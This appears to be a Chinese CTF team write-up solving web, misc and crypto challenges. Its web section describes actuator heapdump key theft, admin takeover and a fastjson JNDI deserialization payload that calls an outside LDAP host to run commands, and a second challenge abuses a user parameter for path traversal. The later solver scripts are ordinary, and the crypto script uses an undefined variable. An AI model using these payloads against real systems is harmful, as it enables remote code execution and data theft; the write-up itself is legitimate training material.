部分内容来自队友
web
日记本
利用dirsearch工具扫描发现一个登录路由和actuator泄露,还有swagger-ui.html
但是正常的注册/api/auth/v1/register无法成功,通过查看/actuator/mappings找到了/api/auth/v2/register这样的注册路由。
这样就可以注册了。登录进去后,api路由还有一个/api/auth/update,这里可以更新账户信息。我们利用actuator/heapdump工具拿到了key:
然后通过这个路由修改刚刚注册的账号为admin了
然后就可以查看admin的api,发现hint里是源码:
反编译源码后,查看依赖:
发现有fastjson1.2.26和CC3.2.1的依赖,可以通过jndi打ldap触发反序列化再打CC链。
在/api/admin/diaries路由可以触发fastjson反序列化。
执行一下/readflag就可以了
利用java-chians工具:
由于fastjson版本是1.2.26,又存在myBatis依赖
所以payload:
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://114.132.61.17:50389/fb0a2a"
}
} 简单的仓库
注册用户1234:1234
登录后分析源码可以发现有文件展示功能以及重置和开通vip的功能,挨个抓包测试。
构造报文,进行测试,可以发现显示我们登录后对应账号的文件。
由此可以得到admin有哪些文件。
接着测试充值api可以发现带了权限字段,修改为admin即可充值成功。
利用充值后的余额开通vip,获得文件下载的功能。
根据url中的文件名和user参数下载文件,我们可以读取admin的readme文件。
发现flag路径,我们可以去/api/files验证一下。
是可以当做用户处理的。
访问/download/flag.txt?user=/var/tmp即可。
Misc
异常行为溯源
取log,在tcp层
# from json import load
from pyshark import FileCapture
from base64 import b64decode
from json import loads
for packet in FileCapture(input_file="network_traffic.pcap", keep_packets=False):
tcp = packet.tcp
data = bytes.fromhex(tcp.payload.replace(":", "")).decode()
data = b64decode(data).decode()
data = loads(data)
msg = data["msg"]
type = data["type"]
msg = b64decode(msg).decode().strip()
print(msg) 直接统计ip频次就行了。
import re
from datetime import datetime
logs = open("log.log").readlines()
log_match = re.compile(r'(\d+\.\d+\.\d+\.\d+) ?- - \[(.*) \+\d+\] "(\w+) ([\w\/.-]+) HTTP\/1\.1" \d+ \d+ "-" ".*"')
ip_maps = {}
for log in logs:
m = log_match.match(log)
ip = m.group(1)
time = m.group(2)
time = datetime.strptime(time, "%d/%b/%Y:%H:%M:%S")
method = m.group(3)
url = m.group(4)
# print(time_match.match(time).group())
ip_maps[ip] = ip_maps.get(ip, 0) + 1
# print()
ip_maps = sorted(ip_maps.items(), key=lambda x: x[1], reverse=True)
for ip, count in ip_maps:
print(ip, count)
break 数据校验
from hashlib import md5
from ecdsa import VerifyingKey, BadSignatureError
from base64 import b64decode
data = open("data.csv").readlines()[1:]
data = [i.strip().split(",") for i in data]
data = [{
"Serial_Number": i[0],
"UserName": i[1],
"UserName_Check": i[2], # md5 hash for username
"Password": i[3],
"Password_Check": i[4], # md5 hash for password
"IP": i[5],
"Signature": i[6], # ecdsa sign for username.
} for i in data]
whitelist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
lst = []
for d in data:
if d["UserName"][:5] != "User-":
print(d["Serial_Number"], "UserName format Error")
lst.append(d["Serial_Number"])
continue
if md5(d["UserName"].encode()).hexdigest() != d["UserName_Check"]:
print(d["Serial_Number"], "UserName hash Error")
lst.append(d["Serial_Number"])
continue
r = 0
for i in d["Password"]:
if i not in whitelist:
print(d["Serial_Number"], "Password format Error")
r = 1
break
if r == 1:
lst.append(d["Serial_Number"])
continue
t = d["IP"].split(".")
if len(t) != 4:
print(d["Serial_Number"], "IP format Error")
lst.append(d["Serial_Number"])
continue
r = 0
for i in t:
if not i.isdigit() or int(i) > 255:
print(d["Serial_Number"], "IP format Error")
r = 1
break
if r == 1:
lst.append(d["Serial_Number"])
continue
if md5(d["Password"].encode()).hexdigest() != d["Password_Check"]:
print(d["Serial_Number"], "Password hash Error")
lst.append(d["Serial_Number"])
continue
try:
vk = VerifyingKey.from_pem(open(f"ecdsa-key/{d['Serial_Number']}.pem").read())
vk.verify(b64decode(d["Signature"]), d["UserName"].encode())
except BadSignatureError:
print(d["Serial_Number"], "Username Signature Error")
lst.append(d["Serial_Number"])
lst = list(set(lst))
lst = sorted(lst)
t = "_".join(lst)
print(t)
print("flag{" + md5(t.encode()).hexdigest() + "}") Strange_Database
数据库内容
from sqlite3 import connect
from os import listdir
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from base64 import b64decode
keys = listdir("key")
keys = {int(key.split(".")[0].split("-")[1]):key for key in keys}
# print(keys)
for db_file in listdir("database"):
ids = db_file.split(".")[0].replace("database-", "")
key_file = f"key/{keys[int(ids)]}"
password = key_file.split(".")[0].split("-")[2]
# print(password)
key = RSA.importKey(open(key_file).read(), passphrase=password)
cipher = PKCS1_OAEP.new(key)
db = connect(f"database/{db_file}")
cursor = db.cursor()
cursor.execute("SELECT * FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
for table in tables:
cursor.execute(f"SELECT * FROM {table[1]};")
rows = cursor.fetchall()
for row in rows:
# print(,row[2])
# print()
type = cipher.decrypt(b64decode(row[0])).decode()
number = row[1]
name = cipher.decrypt(b64decode(row[2])).decode()
password = cipher.decrypt(b64decode(row[3])).decode()
remark = cipher.decrypt(b64decode(row[4])).decode()
print(type, number, name, password, remark)
db.close() database里有enc和key字段的东西,应该就是flag相关了。
lines = open("log.log").readlines()
data = [line.split() for line in lines]
d_map = {}
for i in data:
d_map[i[0]] = d_map.get(i[0],0) + 1
print(d_map) lines = open("log.log").readlines()
data = [line.split() for line in lines]
enc = []
key = []
for i in data:
if i[0] == "Enc":
print(i)
enc.append(i[-1])
if i[0] == "Key":
print(i)
key.append(i[-1]) 最后是rc4。
Crypto
qaq
很多参数已知
由于 Weil 配对 T 的值在某个小阶子群中,对 T 进行适当的指数运算后可以“消去”这个随机因素。
weil配对,参考文章:什么是weil配对 - 玩剑的Fiora - 博客园
构造一个新的数组有
out=(output^qwq) mod p =(weil_pairing(P1,P2,qwq)^3*c)^(qaq*qwq)=c^(qaq*qwq) mod p 这里隐含Weil 配对 中的weil_pairing(P1,P2,qwq) 被指数运算后归一化为 1,从而使得加密操作对 c 仅留下一个可逆的指数变换。
只需要对原文2个字节(也就是16个二进制)的数字位进行爆破2^16位即可解密
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
from sage.all import GF, EllipticCurve
res = [4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272555731,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556223,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556437,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556749,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557237,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557459,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557687,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558239,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558627,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559239,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560169,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560343,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560433,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560751,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560969,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272561441,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562103,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562601,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563261,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563297,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563391,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563511,
4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563711]
p = res[11]
output = [2258729984869869545899085887518820011795880892632317458813070773270633871398785757696896679887453336507722151037267,
1843407310728065127389586068976768146728145160643439144895915852634291722663455873979176336542780552480617232750208,
1107061034832953338095294459542523703297843192927313275050958753437078121375795698115353665062727895555487155331316,
460337686287218470707660572908024613140030922587867288532588857547792028112129697850035268228038619747643899804437,
1659483062154723617504533638726171721668768657049197025961515070605996080663312140357834824850074607457421362000265,
3150528329201636320206556304125544975332446992414777732425647667048147102509308959254762895094589762017857965981432,
3338854035461286314545186888372727000962778038359519702308782495912356677650264814573463929190025956045491115654437,
3042574495339632074308497406446851120362994432361876743901608172567070991832258762751304397604780567703759317642849,
380771388315580393673388198522357440257018642337119013880143084485482127962577943753495690258532782147018511750175,
507222017133457507399048159541059729302482262298099528096040456818913085187752925782279385808732260473494863290057,
533663958640518878580794848474449572155795564171089765377581587253792204491009275840408579120376539757958097910250,
2681145160205204287930367627648683111546318004811732016137828270063753300095675791698398080219566725174890793619305,
3259478178021541801713314504097142165241891541242669456591074651894459393333167453811425864198267757724232689747676,
3553147298452254907907643059383506744982654808021508866104139240155822133286673657139615950259800036058045049186173,
1778776925369812510137824472396145391840300438509021838870105004154301861222612045533034046889878767915343446874895,
3409071358092535255033136229525415652816479844958949032220987821989305575696869929136493897719813036034016228268240,
571819148781137687997336847709735468532344087614483867682513640750800758034003212746545051127998686475933050072942,
2676666310158795770609746651024766841212271213339384335651155407291004834251914242990757216402110096603729617413168,
2557670339976470006330058052583841683167706755578266425502679937976714609864257535859316483527764340425703004883241,
973319024062640263364951783086923560907216776835485042157036675663719529568519121997200478026304141184810597275543,
1189768012357955450386827626693191057999220508190415783719135619271537446794904663649700073564180453068646130539863,
790522915783756530835443034667719516913120763875831140857606265058871034793645280121113275798239222760522467771184]
qwq = 0x320238b
K = GF(p)
E = EllipticCurve(K, (0, 4))
qaq = E.order() // (qwq ** 2)
out = [pow(i, qwq, p) for i in output]
flag_chars = []
for encrypted_value in tqdm(output1, desc="Decrypting blocks"):
for i in range(1, 65536):
decrypted_value = pow(i, qwq * qaq, p)
if decrypted_value == encrypted_value:
decoded_char = long_to_bytes(i).decode()
flag_chars.append(decoded_char)
break
flag = "".join(flag_chars)
print(flag)